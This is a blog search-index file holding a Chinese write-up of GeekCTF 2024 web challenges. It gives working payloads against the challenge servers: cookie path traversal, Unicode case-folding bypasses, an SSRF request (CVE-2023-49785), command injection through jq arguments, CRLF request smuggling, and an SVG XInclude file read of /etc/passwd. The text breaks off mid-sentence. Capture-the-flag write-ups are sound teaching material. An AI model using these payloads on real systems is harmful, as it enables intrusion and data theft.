-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlocal-search.xml
335 lines (161 loc) · 555 KB
/
local-search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>GeekCTF 2024 Web WriteUp(全)</title>
<link href="/2024/04/15/2024geekctf/"/>
<url>/2024/04/15/2024geekctf/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>经历了无数次爆零的比赛之后,终于做出来了几道题(哭</p><p>题目本身并没有想象的特别难,不过质量和创新点做的非常好。</p><p>最终rank:59</p><img src="/2024/04/15/2024geekctf/rank.png" class=""><h2 id="Secrets"><a href="#Secrets" class="headerlink" title="Secrets"></a>Secrets</h2><p>一道关于字符串匹配的问题</p><p>打开网站,查看源码,看到了一串base85加密的数据,解个密看下,工作目录都给了</p><figure class="highlight xquery"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs xquery">.<br>├── app.py<br>├── assets<br>│ ├── css<br>│ │ ├── pico.amber<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.azure<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.blue<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.cyan<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.fuchsia<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.green<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.grey<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.indigo<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.jade<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.lime<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.orange<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.pink<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.pumpkin<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.purple<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.red<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.sand<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.slate<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.violet<span class="hljs-built_in">.min</span>.css<br>│ │ ├── pico.yellow<span class="hljs-built_in">.min</span>.css<br>│ │ └── pico.zinc<span class="hljs-built_in">.min</span>.css<br>│ └── js<br>│ ├── color-picker.js<br>│ ├── home.js<br>│ ├── jquery-<span class="hljs-number">3.7</span>.<span class="hljs-number">1</span><span class="hljs-built_in">.min</span>.js<br>│ └── login.js<br>├── gunicorn_conf.py<br>├── populate.py<br>├── requirements.txt<br>└── templates<br> ├── base.html<br> ├── index.html<br> └── login.html<br></code></pre></td></tr></table></figure><p>右上角有个更改颜色的按钮,随便选个抓个包看看,发现Cookie多了个<code>asset</code>字段,内容为<code>assets/css/pico.green.min.css</code>,正好与上面看到的文件路径保持一致,尝试读<code>app.py</code>发现需要<code>assets/css/</code>开头,<code>../</code>绕过下:<code>asset=assets/css/../../app.py</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> os<br><br><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> (<br> Flask,<br> jsonify,<br> redirect,<br> render_template,<br> request,<br> send_from_directory,<br> session,<br>)<br><span class="hljs-keyword">from</span> flask_sqlalchemy <span class="hljs-keyword">import</span> SQLAlchemy<br><span class="hljs-keyword">from</span> sqlalchemy <span class="hljs-keyword">import</span> text<br><br>app = Flask(<br> __name__, static_folder=<span class="hljs-string">"assets/js"</span>, template_folder=<span class="hljs-string">"templates"</span>, static_url_path=<span class="hljs-string">""</span><br>)<br><br>app.config[<span class="hljs-string">"SQLALCHEMY_DATABASE_URI"</span>] = <span class="hljs-string">"mysql+pymysql://ctf:114514@db/secrets"</span><br>app.secret_key = os.environ.get(<span class="hljs-string">"SECRET_KEY"</span>, os.urandom(<span class="hljs-number">128</span>).<span class="hljs-built_in">hex</span>())<br>app.url_map.strict_slashes = <span class="hljs-literal">False</span><br><br>db = SQLAlchemy(app)<br><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Notes</span>(db.Model):<br> table_name = <span class="hljs-string">"notes"</span><br> <span class="hljs-built_in">id</span> = db.Column(db.Integer, primary_key=<span class="hljs-literal">True</span>)<br> title = db.Column(db.String(<span class="hljs-number">80</span>), nullable=<span class="hljs-literal">False</span>)<br> message = db.Column(db.Text, nullable=<span class="hljs-literal">False</span>)<br> <span class="hljs-built_in">type</span> = db.Column(db.String(<span class="hljs-number">80</span>), nullable=<span class="hljs-literal">False</span>, default=<span class="hljs-string">"notes"</span>)<br><br> <span class="hljs-keyword">def</span> <span class="hljs-title function_">__repr__</span>(<span class="hljs-params">self</span>):<br> <span class="hljs-keyword">return</span> <span class="hljs-string">f"<Note <span class="hljs-subst">{self.message}</span>>"</span><br><br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/"</span></span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():<br> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> session.get(<span class="hljs-string">"logged_in"</span>):<br> <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/login"</span>)<br> <span class="hljs-keyword">with</span> db.engine.connect() <span class="hljs-keyword">as</span> con:<br> character_set_database = con.execute(<br> text(<span class="hljs-string">"SELECT @@character_set_database"</span>)<br> ).fetchone()<br> collation_database = con.execute(text(<span class="hljs-string">"SELECT @@collation_database"</span>)).fetchone()<br> <span class="hljs-keyword">assert</span> character_set_database[<span class="hljs-number">0</span>] == <span class="hljs-string">"utf8mb4"</span><br> <span class="hljs-keyword">assert</span> collation_database[<span class="hljs-number">0</span>] == <span class="hljs-string">"utf8mb4_unicode_ci"</span><br> <span class="hljs-built_in">type</span> = request.args.get(<span class="hljs-string">"type"</span>, <span class="hljs-string">"notes"</span>).strip()<br> <span class="hljs-keyword">if</span> (<span class="hljs-string">"secrets"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">type</span>.lower() <span class="hljs-keyword">or</span> <span class="hljs-string">"SECRETS"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">type</span>.upper()) <span class="hljs-keyword">and</span> session.get(<br> <span class="hljs-string">"role"</span><br> ) != <span class="hljs-string">"admin"</span>:<br> <span class="hljs-keyword">return</span> render_template(<br> <span class="hljs-string">"index.html"</span>,<br> notes=[],<br> error=<span class="hljs-string">"You are not admin. Only admin can view secre<u>ts</u>."</span>,<br> )<br> q = db.session.query(Notes)<br> q = q.<span class="hljs-built_in">filter</span>(Notes.<span class="hljs-built_in">type</span> == <span class="hljs-built_in">type</span>)<br> notes = q.<span class="hljs-built_in">all</span>()<br> <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>, notes=notes)<br><br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/login"</span>, methods=[<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>]</span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">login</span>():<br> <span class="hljs-keyword">if</span> session.get(<span class="hljs-string">"logged_in"</span>):<br> <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)<br><br> <span class="hljs-keyword">def</span> <span class="hljs-title function_">isEqual</span>(<span class="hljs-params">a, b</span>):<br> <span class="hljs-keyword">return</span> a.lower() != b.lower() <span class="hljs-keyword">and</span> a.upper() == b.upper()<br><br> <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"GET"</span>:<br> <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"login.html"</span>)<br> username = request.form.get(<span class="hljs-string">"username"</span>, <span class="hljs-string">""</span>)<br> password = request.form.get(<span class="hljs-string">"password"</span>, <span class="hljs-string">""</span>)<br> <span class="hljs-keyword">if</span> isEqual(username, <span class="hljs-string">"alice"</span>) <span class="hljs-keyword">and</span> isEqual(password, <span class="hljs-string">"start2024"</span>):<br> session[<span class="hljs-string">"logged_in"</span>] = <span class="hljs-literal">True</span><br> session[<span class="hljs-string">"role"</span>] = <span class="hljs-string">"user"</span><br> <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)<br> <span class="hljs-keyword">elif</span> username == <span class="hljs-string">"admin"</span> <span class="hljs-keyword">and</span> password == os.urandom(<span class="hljs-number">128</span>).<span class="hljs-built_in">hex</span>():<br> session[<span class="hljs-string">"logged_in"</span>] = <span class="hljs-literal">True</span><br> session[<span class="hljs-string">"role"</span>] = <span class="hljs-string">"admin"</span><br> <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)<br> <span class="hljs-keyword">else</span>:<br> <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"login.html"</span>, error=<span class="hljs-string">"Invalid username or password."</span>)<br><br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/logout"</span></span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">logout</span>():<br> session.pop(<span class="hljs-string">"logged_in"</span>, <span class="hljs-literal">None</span>)<br> session.pop(<span class="hljs-string">"role"</span>, <span class="hljs-literal">None</span>)<br> <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)<br><br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/redirectCustomAsset"</span></span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">redirectCustomAsset</span>():<br> asset = request.cookies.get(<span class="hljs-string">"asset"</span>, <span class="hljs-string">"assets/css/pico.azure.min.css"</span>)<br> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> asset.startswith(<span class="hljs-string">"assets/css/"</span>):<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"Hacker!"</span>, <span class="hljs-number">400</span><br> <span class="hljs-keyword">return</span> send_from_directory(<span class="hljs-string">""</span>, asset)<br><br><br><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/setCustomColor"</span></span>)</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">setCustomColor</span>():<br> color = request.args.get(<span class="hljs-string">"color"</span>, <span class="hljs-string">"azure"</span>)<br> <span class="hljs-keyword">if</span> color <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> [<br> <span class="hljs-string">"amber"</span>,<br> <span class="hljs-string">"azure"</span>,<br> <span class="hljs-string">"blue"</span>,<br> <span class="hljs-string">"cyan"</span>,<br> <span class="hljs-string">"fuchsia"</span>,<br> <span class="hljs-string">"green"</span>,<br> <span class="hljs-string">"grey"</span>,<br> <span class="hljs-string">"indigo"</span>,<br> <span class="hljs-string">"jade"</span>,<br> <span class="hljs-string">"lime"</span>,<br> <span class="hljs-string">"orange"</span>,<br> <span class="hljs-string">"pink"</span>,<br> <span class="hljs-string">"pumpkin"</span>,<br> <span class="hljs-string">"purple"</span>,<br> <span class="hljs-string">"red"</span>,<br> <span class="hljs-string">"sand"</span>,<br> <span class="hljs-string">"slate"</span>,<br> <span class="hljs-string">"violet"</span>,<br> <span class="hljs-string">"yellow"</span>,<br> <span class="hljs-string">"zinc"</span>,<br> ]:<br> <span class="hljs-keyword">return</span> jsonify({<span class="hljs-string">"error"</span>: <span class="hljs-string">"Invalid color."</span>}), <span class="hljs-number">400</span><br> asset = <span class="hljs-string">f"assets/css/pico.<span class="hljs-subst">{color}</span>.min.css"</span><br> <span class="hljs-keyword">return</span> (<br> jsonify({<span class="hljs-string">"success"</span>: asset}),<br> <span class="hljs-number">200</span>,<br> {<span class="hljs-string">"Set-Cookie"</span>: <span class="hljs-string">f"asset=<span class="hljs-subst">{asset}</span>; SameSite=Strict"</span>},<br> )<br> <br> <br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br> app.run()<br></code></pre></td></tr></table></figure><p>populate.py中写了flag在数据库secrets中</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> os<br><br><span class="hljs-keyword">from</span> app <span class="hljs-keyword">import</span> Notes, app, db<br><br><span class="hljs-keyword">with</span> app.app_context():<br> db.create_all()<br> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> Notes.query.filter_by(<span class="hljs-built_in">type</span>=<span class="hljs-string">"notes"</span>).first():<br> db.session.add(Notes(title=<span class="hljs-string">"Hello, world!"</span>, message=<span class="hljs-string">"This is an example note."</span>))<br> db.session.add(<br> Notes(<br> title=<span class="hljs-string">"Where's flag?"</span>,<br> message=<span class="hljs-string">"Flag is waiting for you inside secrets."</span>,<br> )<br> )<br> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> Notes.query.filter_by(<span class="hljs-built_in">type</span>=<span class="hljs-string">"secrets"</span>).first():<br> db.session.add(<br> Notes(<br> title=<span class="hljs-string">"Secret flag"</span>,<br> message=os.environ.get(<span class="hljs-string">"FLAG"</span>, <span class="hljs-string">"fake{flag}"</span>),<br> <span class="hljs-built_in">type</span>=<span class="hljs-string">"secrets"</span>,<br> )<br> )<br> db.session.commit()<br></code></pre></td></tr></table></figure><p>首先需要登录,有一个匹配<code>a.lower() != b.lower() and a.upper() == b.upper()</code></p><p>想到了<code>nodejs</code>特性:Character.toUpperCase()函数,字 符ı会转变为I,字符ſ会变为S。</p><p>看了下发现py也可以,直接alıce和ſtart2024登录</p><p>接下来(“secrets” in type.lower() or “SECRETS” in type.upper())要保证既大写不相等且小写不等</p><p>最开始以为是要弄 一个upper变 一个lower变 的两个字符,fuzz了一下发现没有这种</p><p>后来网上找了一下看到数据库utf8mb4_unicode_ci匹配中会把一些奇怪的符号匹配为正常的符号</p><p>é可以代替e</p><p>payload: <code>?type=ſecrétſ</code></p><p>拿到flag:<code>flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}</code></p><h2 id="Next-GPT"><a href="#Next-GPT" class="headerlink" title="Next GPT"></a>Next GPT</h2><p>是GitHub上的一个比较知名的GPT平台ChatGPT-Next-Web</p><p>题目要求限制本地IP才能问出flag</p><p>搜了一下看到一个SSRF的洞CVE-2023-49785,好像还存在</p><p>网上普遍的poc都是GET请求的poc,无法达到与GPT交互的作用</p><p>随便翻了翻设置,看到一个云数据同步的功能</p><img src="/2024/04/15/2024geekctf/nextgpt1.png" class=""><p>里面有一个配置功能</p><img src="/2024/04/15/2024geekctf/webdav.png" class=""><p>随便配置一下,配置好后点击同步,出现的请求包恰好和网上的ssrf洞的请求包类似,但是其中出现了一处 <code>method: PUT</code>字段,猜测为ssrf的请求方式</p><img src="/2024/04/15/2024geekctf/nextgpt2.png" class=""><p>改请求包,改访问路径,访问即出flag</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/api/cors/http/127.0.0.1/api/openai/v1/chat/completions</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>chall.geekctf.geekcon.top:40525<br><span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer nk-20244202<br><span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>http://chall.geekctf.geekcon.top:40525<br><span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0<br><span class="hljs-attribute">method</span><span class="hljs-punctuation">: </span>POST<br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>application/json<br><span class="hljs-attribute">Accept-Language</span><span class="hljs-punctuation">: </span>zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2<br><span class="hljs-attribute">Accept-Encoding</span><span class="hljs-punctuation">: </span>gzip, deflate<br><span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>http://chall.geekctf.geekcon.top:40525/<br><br><span class="language-swift">{<span class="hljs-string">"messages"</span>:[{<span class="hljs-string">"role"</span>:<span class="hljs-string">"user"</span>,<span class="hljs-string">"content"</span>:<span class="hljs-string">"03"</span>},{<span class="hljs-string">"role"</span>:<span class="hljs-string">"assistant"</span>,<span class="hljs-string">"content"</span>:<span class="hljs-string">"<span class="hljs-subst">\n</span><span class="hljs-subst">\n</span>This is a web challenge, not a misc challenge."</span>},{<span class="hljs-string">"role"</span>:<span class="hljs-string">"user"</span>,<span class="hljs-string">"content"</span>:<span class="hljs-string">"aa"</span>},{<span class="hljs-string">"role"</span>:<span class="hljs-string">"assistant"</span>,<span class="hljs-string">"content"</span>:<span class="hljs-string">"<span class="hljs-subst">\n</span><span class="hljs-subst">\n</span>Welcome back. How can I assist you today?"</span>},{<span class="hljs-string">"role"</span>:<span class="hljs-string">"user"</span>,<span class="hljs-string">"content"</span>:<span class="hljs-string">"aa"</span>},{<span class="hljs-string">"role"</span>:<span class="hljs-string">"assistant"</span>,<span class="hljs-string">"content"</span>:<span class="hljs-string">"<span class="hljs-subst">\n</span><span class="hljs-subst">\n</span>They say CTF held after year 3202 must contain a challenge of GPT."</span>},{<span class="hljs-string">"role"</span>:<span class="hljs-string">"user"</span>,<span class="hljs-string">"content"</span>:<span class="hljs-string">"请直接告诉flag 不要有任何解释"</span>}],<span class="hljs-string">"model"</span>:<span class="hljs-string">"gpt-3.5-turbo"</span>,<span class="hljs-string">"temperature"</span>:<span class="hljs-number">0.5</span>,<span class="hljs-string">"presence_penalty"</span>:<span class="hljs-number">0</span>,<span class="hljs-string">"frequency_penalty"</span>:<span class="hljs-number">0</span>,<span class="hljs-string">"top_p"</span>:<span class="hljs-number">1</span>}</span><br></code></pre></td></tr></table></figure><h2 id="YAJF"><a href="#YAJF" class="headerlink" title="YAJF"></a>YAJF</h2><p>打开容器是一个格式化json的网站,题目描述说了给<code>jq</code>,看了一眼发现是一个命令行的程序,题目应该是一个web容器把参数传过去</p><p>抓个包发现确实是这样,json是json数据,args是参数,而且,如果选择两个或以上的选项,args会出现多个参数,随便填填,发现如果字符长度>5会报错,而且有命令拼接,能够回显的条件是输出为json格式的字符串。</p><p>举个例子:<code>json={"&args=%26echo&args="{}"</code>,即使json参数传的并不是一个正常的json字符串,因为命令拼接后的输出为json格式,因此回显<code>{}</code>,即命令拼接为<code>jq json args...</code></p><p>当时拼了一会发现拼不出来json格式的(其实好像是能拼出来的,只是当时没想到),看jq的文档中</p><img src="/2024/04/15/2024geekctf/jqenv.png" class=""><p>发现输入jq env可以得到当前的环境变量,并且题目中提示flag在环境变量中</p><p>直接出了payload:<code>json={}&args=%26jq&args='env'</code></p><h2 id="PicBed(复现)"><a href="#PicBed(复现)" class="headerlink" title="PicBed(复现)"></a>PicBed(复现)</h2><p>花时间比较长的一题,最后还是没能做出来</p><a href="/2024/04/15/2024geekctf/PicBed.zip" title="PicBed.zip">PicBed.zip</a><p>给了Dockerfile,直接看一下,题目用了<code>webpsh/webp-server-go:0.11.0</code>的容器,并且给了flask的前端代码,简单看下代码,是一个文件上传和下载的图床,使用了webp进行缩小图片</p><p>upload路由大体上没问题,使用随机数进行文件的重命名防止了目录穿越。</p><p>关键点在于查看图片的路由,其中调用了fetch_converted_image函数对23333端口进行http请求,因为其HTTP报文直接对Accept进行了拼接,会导致一个HTTP走私,举个例子</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/a</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>{accept}<br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>close<br></code></pre></td></tr></table></figure><p>如果accept中为<code>image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+/flag+HTTP/1.1</code>,会导致报文变为</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/a</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>image/webp<br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>alive<br><br><span class="language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/flag</span> <span class="hljs-meta">HTTP/1.1</span></span><br><span class="language-http"><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>close</span><br></code></pre></td></tr></table></figure><p>导致服务器后端误以为是两个请求,一起发送了报文,同时,python处理返回的恰好是\r\n\r\n截断最后面的部分,最后回显的就会是走私的请求结果。</p><p>从这里就我开始走偏了,之前刚打完UNbreakable-ICTF-2024,其中一道题恰好使用了libsvg的漏洞 <a href="https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/">CVE-2023-38633</a>,其poc为</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-meta"><?xml version=<span class="hljs-string">"1.0"</span> encoding=<span class="hljs-string">"UTF-8"</span> standalone=<span class="hljs-string">"no"</span> ?></span><br><span class="hljs-tag"><<span class="hljs-name">svg</span> <span class="hljs-attr">width</span>=<span class="hljs-string">"300"</span> <span class="hljs-attr">height</span>=<span class="hljs-string">"300"</span> <span class="hljs-attr">xmlns:xi</span>=<span class="hljs-string">"http://www.w3.org/2001/XInclude"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">rect</span> <span class="hljs-attr">width</span>=<span class="hljs-string">"300"</span> <span class="hljs-attr">height</span>=<span class="hljs-string">"300"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"fill:rgb(255,204,204);"</span> /></span><br> <span class="hljs-tag"><<span class="hljs-name">text</span> <span class="hljs-attr">x</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">y</span>=<span class="hljs-string">"100"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">xi:include</span></span><br><span class="hljs-tag"> <span class="hljs-attr">href</span>=<span class="hljs-string">".?../../../../../../../etc/passwd"</span></span><br><span class="hljs-tag"> <span class="hljs-attr">parse</span>=<span class="hljs-string">"text"</span></span><br><span class="hljs-tag"> <span class="hljs-attr">encoding</span>=<span class="hljs-string">"ASCII"</span></span><br><span class="hljs-tag"> ></span><br> <span class="hljs-tag"><<span class="hljs-name">xi:fallback</span>></span>file not found<span class="hljs-tag"></<span class="hljs-name">xi:fallback</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">xi:include</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">text</span>></span><br><span class="hljs-tag"></<span class="hljs-name">svg</span>></span><br></code></pre></td></tr></table></figure><p>来对etc/passwd进行一个读取,而这题给的flag是flag.png,当时以为是要对图片进行一个包含,于是在docker上左调右调花了好多时间(关键是xml写不对那边还会有一个拒绝服务,导致每次都要重启容器)</p><p>回到正题,此题是一个CVE-2021-46104的变种,相关<a href="https://github.com/webp-sh/webp_server_go/issues/92">Issue</a>上有讨论,是一个go的目录穿越漏洞,其漏洞最早期可以直接使用../即可打通,后面加了一些处理,已经没法打通了。但这道题中,如果HTTP报文省略了开头的/,即<code>GET 